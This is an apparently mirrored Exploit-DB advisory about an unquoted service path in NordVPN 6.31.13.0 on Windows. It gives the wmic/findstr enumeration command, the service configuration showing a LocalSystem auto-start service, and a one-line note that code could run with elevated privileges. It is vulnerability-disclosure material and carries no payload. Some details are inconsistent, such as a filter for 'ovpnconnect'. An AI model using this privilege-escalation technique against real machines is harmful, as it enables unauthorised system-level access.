Nord VPN-6.31.13.0 – ‘nordvpn-service’ Unquoted Service Path

  • 作者: chipo
    日期: 2020-09-04
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48790/
  • # Exploit Title: Nord VPN-6.31.13.0 - 'nordvpn-service' Unquoted Service Path
    # Discovery Date: 2020-09-03
    # Discovery by: chipo
    # Vendor Homepage: https://nordvpn.com
    # Software Link : https://downloads.nordcdn.com/apps/windows/10/NordVPN/latest/NordVPNSetup.exe
    # Tested Version: 6.31.13.0
    # Tested on OS: Windows 10 Pro x64 es
    # Vulnerability Type: Unquoted Service Path
    
    # Find the discover Unquoted Service Path Vulnerability: 
    
    C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "ovpnconnect" | findstr /i /v """
    
    nordvpn-servicenordvpn-service C:\Program Files\NordVPN\nordvpn-service.exe 
    
    # Service info:
    
    C:\>sc qc servicio
    [SC] QueryServiceConfig SUCCESS
    
    NOMBRE_SERVICIO: nordvpn-service
    TIPO : 10WIN32_OWN_PROCESS
    TIPO_INICIO: 2 AUTO_START
    CONTROL_ERROR: 1 NORMAL
    NOMBRE_RUTA_BINARIO: C:\Program Files\NordVPN\nordvpn-service.exe
    GRUPO_ORDEN_CARGA:
    ETIQUETA : 0
    NOMBRE_MOSTRAR : nordvpn-service
    DEPENDENCIAS :
    NOMBRE_INICIO_SERVICIO: LocalSystem
    
    #Exploit:
    
    A successful attempt to exploit this vulnerability could allow to execute code during startup or reboot with the elevated privileges.